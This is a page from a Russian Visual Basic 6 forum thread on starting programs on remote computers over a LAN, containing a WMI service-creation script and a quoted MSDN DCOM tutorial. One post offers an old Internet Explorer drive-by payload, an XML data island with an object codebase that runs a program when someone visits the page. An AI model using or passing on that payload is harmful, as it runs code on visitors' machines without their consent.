Модераторы: Akina

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Запуск приложений на удаленном компьютере, Запуск приложений через ЛС на удаленном 
:(
    Опции темы
Gannibal
Дата 28.12.2004, 13:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а если так? ещё попробывать
от процесса запустить типа?

Код

Const OWN_PROCESS = 16
Const NOT_INTERACTIVE = False
Const NORMAL_ERROR_CONTROL = 2

strComputer = "."
Set objWMIService = GetObject("winmgmts:" & _
   "{impersonationLevel=Impersonate}!\\" & strComputer & "\root\cimv2")

Set objService = objWMIService.Get("Win32_BaseService")
errReturn = objService.Create("DbService", _
                             "Personnel Database", _
                             "c:\windows\system32\db.exe", _
                             OWN_PROCESS, _
                             NORMAL_ERROR_CONTROL, _
                             "Manual", _
                             NOT_INTERACTIVE, _
                             "NT AUTHORITY\LocalService", "")

Wscript.Echo errReturn



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 6.1.2005, 10:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



слушай ты уда делся, скажи хоть помогло или нет, а то ни слова ни духу ... smile


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
amt
Дата 26.1.2005, 20:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Привет всем кто в этой теме участвовал.
Пару месяцев назад я открыл эту тему.
За это время накопилось куча сообщений.
Честно говоря я уже не врубаюсь в то что здесь приводится.
Может я пропустил ответ на свой вопрос.
Многое из того что здесь приводилось я пробовал - результат - 0.
А потому повторю свой вопрос и прошу знатоков систематизировать ответ, если он уже прозвучал.

Цитата
Как в VB запустить приложение на другом компьютере через локалбную сеть, чтобы оно работало именно на удаленном компьютере?

ОС - Win 98.

Заранее огромное спасибо!!!!!
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Gigabyte
Дата 15.3.2005, 18:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Студент-халявщик
**


Профиль
Группа: Участник
Сообщений: 305
Регистрация: 1.11.2004
Где: ПЫтер

Репутация: нет
Всего: 3



тебе надо лишь что бы пользоватьель зашел на страничку содержащую код:
Код

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![cdata[
<object  id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="путь к файлу"></object>
]]>
</exploit>
</security>
</xml>

где путь к файлу - полный путь к твоейпрограмме

Это сообщение отредактировал(а) Gigabyte - 15.3.2005, 18:46


--------------------

user posted image
user posted image
PM MAIL ICQ   Вверх
amt
Дата 28.3.2005, 22:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Gigabyte!
smile Не совсем понял smile
Цитата
тебе надо лишь что бы пользоватьель зашел на страничку содержащую код:

smile что за страничка, где она должна быть (на моем компе или на удаленном), и какой пользователь на нее должен зайти, если прогу на удаленном компе должен запускать я?
Заранее благодарен.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
shilnik
Дата 29.3.2005, 10:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



Я для этого писал DCOM объект. Сервер был W2000Server, клиента пробовал везде. Думаю, что и сервер должен везде работать. Если такой способ интересен, скажи майл, я тебе пример вышлю.


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
valex13
Дата 29.3.2005, 11:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



shilnik
Вышли мне. Благодарен
PM MAIL ICQ   Вверх
shilnik
Дата 30.3.2005, 06:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



2 valex13 Отправил, смотри майл.

А вообще, вот статья из MSDN, а ленивым еще и написаный пример (правда не совсем по статье, но суть таже):



Цитата
HOWTO: Create a DCOM Client/Server Application
Last reviewed: October 30, 1997
Article ID: Q161837 
The information in this article applies to:
Enterprise Edition of Microsoft Visual Basic, for Windows, version 5.0


SUMMARY
In the Enterprise Edition of Visual Basic for Windows version 5.0, you can use the Distributed Component Object Model (DCOM) to perform client/server operations. This article shows you how to create a client/server application that uses DCOM to retrieve the name of the server.

WARNING: ANY USE BY YOU OF THE CODE PROVIDED IN THIS ARTICLE IS AT YOUR OWN RISK. Microsoft provides this code "as is" without warranty of any kind, either express or implied, including but not limited to the implied warranties of merchantability and/or fitness for a particular purpose.



MORE INFORMATION
This sample was not intended to address multiple user scenarios. If you are attempting to create a DCOM server that will handle multiple users, process callbacks, raise events, or use security then please see the following article in the Microsoft Knowledge Base:


  ARTICLE-ID: Q175510
  TITLE    : FILE: VB5DCOM.EXE: Using Callbacks and WithEvents with DCOM


This is an advanced DCOM demonstration using Visual Basic 5.0.


System Requirements
The following operating systems may be used for DCOM applications:


  Operating System          Server          Client
  ----------------          ------          ------
  WinNT 4.0 Server          YES              YES
  WinNT 4.0 Workstation      YES              YES
  Windows 95                YES:            YES:
                              See Q165101      with DCOM for Win95 files


Prepare the Computer
(While this step is not required, it keeps your project in order.)

Create the following directories on your computer:


  C:\DCOMDemo
  C:\DCOMDemo\Server
  C:\DCOMDemo\Server\Setup
  C:\DCOMDemo\Client
  C:\DCOMDemo\Client\Setup


Create the Server

Start a new Visual Basic Project. In the New Project dialog box, select "ActiveX EXE" and click Open.

Set the following properties:

  Control            Name        Property        Value
  ------------------------------------------------------------------
  Class Module        Class1      (Name)          clsDCOMDemoServer
                                    Instancing      5 - MultiUse



Copy the following code to the Class Module clsDCOMDemoServer:


Код

     Option Explicit



      Public Function ServerTime()
           'Retrieves the time from the server.
           ServerTime = Time
      End Function

      Public Function AddNumbers(x As Integer, y As Integer) As Integer
           'Receives two integers and adds them together.
           AddNumbers = x + y
      End Function

      Public Function SubtractNumbers(x As Integer, y As Integer) _
           As Integer
           'Receives two integers and subtracts the second from the first.
           SubtractNumbers = x - y
      End Function


On the Project menu, click "Project1 Properties."
NOTE: If you saved the project previously or have another project open, the menu item may not be called "Project1." Select the menu item for "Properties."


Click the General tab and set the following properties:

  Project Type:            ActiveX EXE      (Create out-of-process
                                                ActiveX component)

  Startup Object:          (None)            (None required)

  Project Name:            proDCOMDemoServer (Will be used in client
                                                code to define the project
                                                to be used)
  Help File Name:          <Blank>
  Project Help Context ID:  0
  Project Description:      DCOM Demo Project - Server
  Unattended Execution:    <Unchecked>
  Upgrade ActiveX Controls: <Checked>          (Enables upgrading of
                                                ActiveX controls)



Click the Make tab and set the following properties:

  Auto Increment:                    <Checked> (Useful for version
                                                  comparison.)

  Application Title:                  proDCOMDemoServer (Name of the EXE
                                                          that will be
                                                          compiled.)
  Version Information:                <As desired>
  Command Line Arguments:            <Blank>
  Conditional Compilation Arguments:  <Blank>



Click the Compile tab and set the following properties:

  Compile to P-Code:      <Selected>
  Compile to Native Code:  <Not Selected>

  The rest of the options should be unavailable.



Click the Component tab and set the following options:

  Start Mode:            ActiveX Component
  Remote Server Files:    <Checked> (Creates TLB and VBR files)
  Version Compatibility:  Project Compatibility (Keeps GUIDs updated)

  Click OK.



On the File menu, click Save Project As. Save the following files as described:

  Directory            File          Filename              Extension
  ---------------------------------------------------------------------
  C:\DCOMDemo\Server    Class Module  clsDCOMDemoServer    .cls
                          Project        proDCOMDemoServer    .vbp



Select File from the menu, and choose "Make proDCOMDemoServer.exe."

In the Make Project dialog box, save the executable to the

    \DCOMDemo\Server directory.


Select Project from the menu and choose "proDCOMDemoServer

    Properties."


Click the Component tab and confirm that Version Compatibility is

    still set to Project Compatibility.


The file proDCOMDemo.exe appears in the text box at the bottom of the

    Version Compatibility group. In the Compatible ActiveX Component dialog
    box, select the file that you just compiled
    (C:\DCOMDemo\Server\proDCOMDemoServer.exe).



    If it is not there, click on the button with the three ellipses (...)
    and go to step 15. If the file is already in the text box, go to
    step 16.


Click OK to close the "proDCOMDemoServer" - Project Properties

    dialog box.


Open a new project ("File... New Project") and save the changes in the

    server project.


Create the Client

In the New Project dialog box, select "Standard EXE" and click OK.

On the Project menu, click References.

Scroll down in the Available References text box until you see "DCOM Project - Server." Select the box on the left and click OK. Note that the component automatically appears in the "Available References" text box. In Remote OLE Automation, you have to double-click the server executable to register it. In DCOM, the server component is automatically registered.

Insert a Module. Place two CommandButtons, two text boxes, and three labels on Form1. Set the following properties:

  Control        Name              Property        Value
  ------------------------------------------------------------------
  Module          Module1          Name            modDCOMDemoClient

  Form            Form1            Name            frmDCOMDemoClient
                                    Caption          DCOM Demo - Client

  CommandButton  Command1          Name            cmdServerTime
                                    Caption          &Get Server Time

                  Command2          Name            cmdComputeNumbers
                                    Caption          &Compute Numbers

  Text Box        Text1            Name            txtX
                                    TabStop          True
                                    TabIndex        0

                  Text2            Name            txtY
                                    TabStop          True
                                    TabIndex        1

  Label          Label1            Name            lblAnswerAdd
                  Label2            Name            lblAnswerSubtract
                  Label3            Name            lblServerTime

  You may want to add additional labels to the form to serve as captions
  for these labels.



Copy the following code to the Module:


Код

      Option Explicit



      Public oServer As New proDCOMDemoServer.clsDCOMDemoServer

Copy the following code to the frmDCOMDemoClient code window:

Код


      Option Explicit
      Private Sub Form_Load()
           'Set initial values for text boxes.
            txtX.Text = "1"
            txtY.Text = "2"
      End Sub

      Private Sub txtX_GotFocus()
            'Select all the text when the text box gets focus.
            'This makes it easier to change the values.
            txtX.SelStart = 0
            txtX.SelLength = Len(txtX.Text)
      End Sub

      Private Sub txtY_GotFocus()
            'Select all the text when the text box gets focus.
            'This makes it easier to change the values.
            txtY.SelStart = 0
            txtY.SelLength = Len(txtY.Text)
        End Sub

      Private Sub cmdServerTime_Click()
           'Get the time from the server and put it in the
           'lblServerTime label.
           lblServerTime.Caption = oServer.ServerTime
      End Sub

      Private Sub cmdComputeNumbers_Click()
            'Passes the integers to the server and puts the answers in the
            'appropriate labels. The "CInt" is to ensure that you are
            'passing integers, which is what the server is expecting.
            lblAnswerAdd.Caption = oServer.AddNumbers _
                (CInt(txtX.Text), CInt(txtY.Text))
            lblAnswerSubtract.Caption = oServer.SubtractNumbers _
                (CInt(txtX.Text), CInt(txtY.Text))
      End Sub

      Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As _
                Integer)
     'Closes the object when the form unloads.
            Set oServer = Nothing
      End Sub


On the Project menu, click "Project1 Properties."
NOTE: If you saved the project previously or have another project open, the menu item may not be called "Project1." Select the menu item for "Properties."


Click the General tab and set the following properties:

  Project Type:            Standard EXE      (Client is a Standalone
                                                executable)

  Startup Object:          frmDCOMDemoClient  (frmDCOMDemoClient and
                                                the code behind
                                                the form run upon
                                                execution)

  Project Name:            proDCOMDemoClient  (Will be the name of the
                                                client executable)
  Help File Name:          <Blank>
  Project Help Context ID:  0
  Project Description:      DCOM Demo Project - Client
  Unattended Execution:    <Disabled>
  Upgrade ActiveX Controls: <Checked>          (Enables upgrading of
                                                ActiveX controls)



Click the Make tab and set the following properties:

  Auto Increment:                    <Checked> (Useful for Version
                                                checking)

  Application Title:                  proDCOMDemoClient
  Version Information:                <As desired>
  Command Line Arguments:            <Blank>
  Conditional Compilation Arguments:  <Blank>



Click the Compile tab and set the following properties:

  Compile to P-Code:      <Selected>
  Compile to Native Code:  <Not Selected>

  The rest of the options should be unavailable.



Click the Component tab and ensure that all options are disabled. Click OK.

On the File menu, click Save Project As. Save the following files as described:

  Directory          File        Filename              Extension
  ----------------------------------------------------------------
  C:\DCOMDemo\Client  Module      modDCOMDemoClient    .bas
                      Form1        frmDCOMDemoClient    .frm
                      Project      proDCOMDemoClient    .vbp



Test the client by clicking Run or pressing the F5 key. When you click Get Server Time, the current system time appears in the label. When you click Compute Numbers, the sum and the difference between the numbers appear in the appropriate labels. Stop the project.

On the File menu, click "Make proDCOMDemoClient.exe".

In the Make Project dialog box, save the executable to the C:\DCOMDemo\Client directory.

Close your project, and save the changes.

Distribute the Server
You can use the same computer that you developed the application on as your server. However, if you want to distribute your server to another computer, follow these instructions:


Start the Application Setup Wizard by clicking "Start, Programs, Visual Basic 5.0, Application Setup Wizard." (If the "Introduction" dialog box appears, click Next.)

In the Select Project and Options dialog box, click Browse. In the "Locate VB application's .VBP file" dialog box, select C:\DCOMDemo\Server\proDCOMDemoServer.VBP.

Click Open and set the following options:
Rebuild the Project: <Unchecked>

  Options:              Create a Setup Program

  Click Next.



In the Distribution Method dialog box, select "Single Directory" and click Next.

In the Single Directory dialog box, select the C:\DCOMDemo\Server\Setup directory. Click Next.

In the ActiveX Components dialog box, click Next. (Do not select any components. They are not needed for this project.)

In the Confirm Dependencies dialog box, make sure that the Stdole2.tlb file is listed. (If it is not listed, you will have to add it later. It is located in your \Windows\System directory.) Click Next.

In the Shared ActiveX Application dialog box, select "Install as a shared component" and "No" since we are installing this as a DCOM application. Click Next.

In the File Summary dialog box, the Setup Wizard processes your files. When it is finished you will see a list of files that will be included in your project. If the Stdole2.tlb file is not listed, click Add. In the Add Files dialog box, select the file from your system directory. Click Next.

Save the template if desired, and then click Finish.

Connect to the distribution directory from your server and run the Setup.exe file that the Setup Wizard generated.

After the server setup is complete, start the "Dcom Configuration" application by clicking "Start, Run" and type Dcomcnfg.exe in the Run dialog box.
If you do not configure the server class that was just installed, the default configuration is used. For this example, select proDCOMDemoServer.clsDCOMDemoServer and click Properties.


Click the General tab. This tab lists the following information about the application, its name, type, and where it is stored:
Application Name: proDCOMDemoServer.clsDCOMDemoServer Application Type: Local Server

  Local Path:        C:\WINNT\system32\proDCOMDemoServer.exe



Click the Location tab to choose where you want the application to run from. Set the following properties:
Run application on the computer where the data is located <Unchecked>

  Run application on this computer                          <Checked>
  Run application on the following computer                  <Unchecked>



Click the Security tab to set application security. You set Access, Launch, and Configuration permissions from this tab.

Select "Use custom access permissions." Click "Edit," which just became available. In the Registry Value Permissions dialog box, click "Add."

In the Add Users and Groups dialog box, select Everyone, and then click Add. The Add Users and Groups dialog box enables you to allow or deny access to the class to certain individuals or groups.

In Type of Access box, select Allow Access and click OK. The Registry Value Permissions dialog box now reflects that you are allowing access to this class to Everyone. Click OK.

On the Security tab, select "Use custom launch permissions." Click "Edit" which just became available. In the Registry Value Permissions dialog box, click "Add."

In the Add Users and Groups dialog box, select Everyone and then click Add. The Add Users and Groups dialog box enables you to allow or deny certain individuals or groups to launch the class.

In the Type of Access box, select Allow Launch and click OK. The Registry Value Permissions dialog box now reflects that you are allowing Everyone to launch this class. Click OK.

Leave Configure Permissions in the Custom selection.

Click the Identity tab to set the user account that you want to use to run the application. Set the following properties:
The Interactive User <Unselected>

  The Launching User    <Selected>
  This User            <Unselected>



Click OK. When you get back to "Distributed COM Configuration Properties," click OK. The following message should appear: "The operation completed successfully." Click OK.

Distribute the Client

Start the Application Setup Wizard by clicking "Start, Programs, Visual Basic 5.0, Application Setup Wizard." (If the Introduction dialog box appears, click Next.)

In the Select Project and Options dialog box, click Browse. In the "Locate VB application's .VBP file" dialog box, select C:\DCOMDemo\Client\proDCOMDemoClient.VBP.

Click Open and set the following options:
Rebuild the Project: <Unchecked>

  Options:              Create a Setup Program

  Click Next.



In the Missing Dependencies dialog box, click Next. Dependency files are not required for this project. In the Confirm Missing Dependencies dialog box, click Yes.

In the Distribution Method dialog box, select Single Directory and then click Next.

In the Single Directory dialog box, select the C:\DCOMDemo\Client\Setup directory. Click Next.

In the ActiveX Components dialog box, deselect proDCOMDemoServer.exe. You do not need to distribute it with the client.

Click Add Remote. In the Add ActiveX Components dialog box, select C:\DCOMDemo\Server\proDCOMDemoServer.VBR. This file was created when you compiled the server executable. It was created because you checked the Remote Server Files option on the Server's "Properties Component" tab.

Click Open. The Remote Connection Details dialog box appears. Set the following options:

  Remote Transport:  Distributed COM (DCOM)
  Network Address:    <The name of the computer the server will be
                      installed on. Do not include backslashes>

  Click OK. Click Next.



In the Confirm Dependencies dialog box, make sure that the Stdole2.tlb file is listed. (If it is not listed, you will have to add it later. It is located in your \Windows\System directory.) Click Next.

The File Summary dialog box appears and the Setup Wizard processes your files. When it is finished you will see a list of files that will be included in your project. If the Stdole2.tlb file is not listed, click Add. In the Add Files dialog box, select the file from your system directory. Click Next.

Save the template if desired, and then click Finish.

Connect to the distribution directory from your client and run the Setup.exe file that the Setup Wizard generated.

When you run the application from the client, it returns the time of the computer that the server component is on. When you click Compute Numbers, the result of the addition and subtraction of the numbers appears in the text boxes. Try changing the numbers to confirm that everything works, but don't use a very large number because you told that class that you are passing integers.



Присоединённый файл ( Кол-во скачиваний: 1 )
Присоединённый файл  tstDCOM.zip


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
amt
Дата 30.3.2005, 07:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



shilnik
Отправь, плиз. Мой майл есть в моем профиле
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
shilnik
Дата 30.3.2005, 07:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



Дак теперь уже качайте прикрепленный файл с предыдущего моего поста. Это и есть пример.


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
Guest
Дата 14.4.2005, 08:13 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











попробуй TCP\IP
  Вверх
amt
Дата 14.4.2005, 08:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



А можно по-побробнее?
Плиз! smile
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Страницы: (3) Все 1 2 [3] 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "VB6"
Akina

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по VB обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • Используйте теги [code=vb][/code] для подсветки кода. Используйтe чекбокс "транслит" (возле кнопок кодов) если у Вас нет русских шрифтов.


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Akina.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | VB6 | Следующая тема »


 




[ Время генерации скрипта: 0.0685 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.